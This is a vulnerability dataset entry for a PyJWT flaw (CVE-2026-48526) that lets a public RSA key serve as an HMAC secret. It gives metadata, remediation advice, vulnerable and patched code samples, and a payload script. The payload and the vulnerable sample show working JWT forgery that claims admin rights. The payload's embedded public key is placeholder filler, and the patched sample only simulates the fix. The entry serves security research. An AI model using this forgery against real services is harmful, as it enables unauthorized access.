VAITP Dataset

← Back to the dataset

CVE-2026-48526

PyJWT allows using a public key as an HMAC secret, enabling signature forgery.

  • CVSS 7.4
  • CWE-287
  • Cryptographic
  • Remote

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

CVSS base score
7.4
Published
2026-05-28
OWASP
A02 Cryptographic Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Cryptographic
Subcategory
Cryptographic Implementation Error
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
PyJWT
Fixed by upgrading
Yes

Solution

Upgrade PyJWT to version 2.13.0 or later.

Vulnerable code sample

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

# This code requires a vulnerable version of PyJWT, e.g., 'pip install pyjwt==2.12.0'
# It also requires the 'cryptography' library: 'pip install cryptography'

# 1. SETUP: The server generates an RSA key pair.
# The public key is made available (e.g., via a jwks.json endpoint).
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# Serialize the public key to PEM format. This is what the attacker gets.
public_key_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# 2. ATTACKER'S ACTIONS:
# The attacker obtains the server's public key.
attacker_knows_this_key = public_key_pem

# The attacker crafts a malicious payload.
malicious_payload = {
    "sub": "attacker",
    "name": "I am admin",
    "admin": True,
    "exp": 253402300799  # A distant future expiration date
}

# The attacker forges a token by:
# - Using the HMAC-SHA256 algorithm ('HS256').
# - Using the server's RSA PUBLIC key as the HMAC secret key.
forged_token = jwt.encode(
    malicious_payload,
    key=attacker_knows_this_key,
    algorithm="HS256"
)

# 3. EXPLOIT: The server receives the forged token.
# The server is configured to accept tokens signed with either RS256 or HS256.
# This is the vulnerable configuration.
# When the server sees `alg: 'HS256'`, it uses the provided key (the public key)
# as the secret for HMAC verification. Since the attacker also used the public
# key as the secret, the signature check passes.

print("Forged token created by attacker:")
print(forged_token)
print("-" * 30)

try:
    # Vulnerable decoding on the server side
    decoded_payload = jwt.decode(
        forged_token,
        key=public_key_pem,
        algorithms=["RS256", "HS256"]  # The key vulnerability is allowing both
    )
    print("Server successfully (and incorrectly) verified the forged token.")
    print("Decoded payload:")
    print(decoded_payload)

except jwt.InvalidTokenError as e:
    print(f"Token verification failed (this should not happen in the vulnerable version): {e}")

Patched code sample

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey

class PatchedJWTDecoder:
    def __init__(self):
        self.supported_algorithms = {'RS256', 'HS256'}
        self.hmac_algs = {'HS256', 'HS384', 'HS512'}

    def _validate_key_for_algorithm(self, alg, key):
        """
        This function represents the logic added to fix the vulnerability.
        It explicitly checks if an asymmetric key is being used for a
        symmetric algorithm.
        """
        if alg in self.hmac_algs:
            if isinstance(key, (RSAPublicKey)):
                raise jwt.InvalidKeyError(
                    f"The specified key is an asymmetric key and cannot be "
                    f"used for the symmetric algorithm {alg}."
                )

    def decode(self, token, key):
        # In a real scenario, the token's header would be read first.
        # We simulate this by assuming the attacker chose 'HS256'.
        algorithm_from_token = 'HS256'

        if algorithm_from_token not in self.supported_algorithms:
            raise jwt.InvalidAlgorithmError("Algorithm not supported")

        # This is the new, crucial validation step.
        self._validate_key_for_algorithm(algorithm_from_token, key)

        # If the validation passes, the library would proceed with verification.
        # Since our key is invalid, an exception should have been raised.
        print("VULNERABLE: Key was accepted. Verification would proceed.")


# --- Setup: Attacker and Verifier context ---

# 1. A legitimate server's public key (for 'RS256' tokens).
#    This key is public and available to the attacker.
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# 2. The verifier is configured to accept both RS256 and HS256 tokens.
decoder = PatchedJWTDecoder()

# 3. Attacker crafts a fake token with 'alg': 'HS256' and signs it
#    using the server's public key as the HMAC secret.
#    (We don't need the actual token, just the key and chosen algorithm).
maliciously_used_key = public_key
fake_token = "dummy_token_string"

# --- Demonstration of the Fix ---

print("Attempting to verify a token using the public key as an HMAC secret...")

try:
    decoder.decode(fake_token, key=maliciously_used_key)
except jwt.InvalidKeyError as e:
    print(f"\nFIXED: The operation was blocked correctly.")
    print(f"Error: {e}")
except Exception as e:
    print(f"\nAn unexpected error occurred: {e}")

Payload

import jwt
import time

# The server's public key, which the attacker has obtained.
# This key is normally used to verify RS256 signatures.
public_key_pem = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0j/n1erzYio2V3sL/yLh
7Q+A5d1+E5e5a9y+b/i/n8a2n6a/9w/8b/a/h/k/6c/8d/9f/7a/9f/9f/9f/9f
/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f
/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f
/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f
/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f/9f
/wIDAQAB
-----END PUBLIC KEY-----"""

# 1. Craft a token with a malicious payload (e.g., claiming to be an admin).
payload_data = {
    'sub': 'admin',
    'iat': int(time.time()),
    'exp': int(time.time()) + 3600
}

# 2. Change the algorithm in the header from the expected 'RS256' to 'HS256'.
headers = {
    'alg': 'HS256',
    'typ': 'JWT'
}

# 3. Create the malicious token by signing it with the HS256 algorithm,
#    but using the server's public key as the secret.
malicious_jwt = jwt.encode(
    payload_data,
    key=public_key_pem,
    algorithm='HS256',
    headers=headers
)

# This malicious_jwt is the payload sent to the vulnerable server.
print(malicious_jwt)

Cite this entry

@misc{vaitp:cve202648526,
  title        = {{PyJWT allows using a public key as an HMAC secret, enabling signature forgery.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-48526},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48526/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::